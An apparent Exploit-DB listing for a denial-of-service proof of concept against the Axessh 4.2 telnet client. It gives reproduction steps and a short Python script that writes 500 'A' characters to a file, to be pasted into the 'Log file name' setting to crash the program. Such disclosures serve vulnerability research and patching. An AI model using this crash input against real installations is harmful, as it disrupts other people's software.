Axessh 4.2 - 'Log file name' Denial of Service (PoC)

EDB-ID:

46858

CVE:

N/A




Platform:

Windows

Date:

2019-05-16


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#Exploit Title: Axessh 4.2 'Log file name' - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-14
#Vendor Homepage: http://www.labf.com
#Software Link: http://www.labf.com/download/axessh.exe
#Tested Version: 4.2
#Tested on: Windows 7 Service Pack 1 x32

#Steps to produce the crash:
#1.- Run python code: Axessh_4.2.py
#2.- Open Axess.txt and copy content to clipboard
#3.- Open Axessh.exe
#4.- In "Telnet Connect Host" select "Details>>" > "Settings"
#5.- Select "Logging" and enable "Log all sessions output"
#6.- In "Log file name" paste Clipboard
#7.- Select "OK" and in "Telnet Connect Host" select "Ok"
#8.- Crashed

cod = "\x41" * 500

f = open('Axess.txt', 'w')
f.write(cod)
f.close()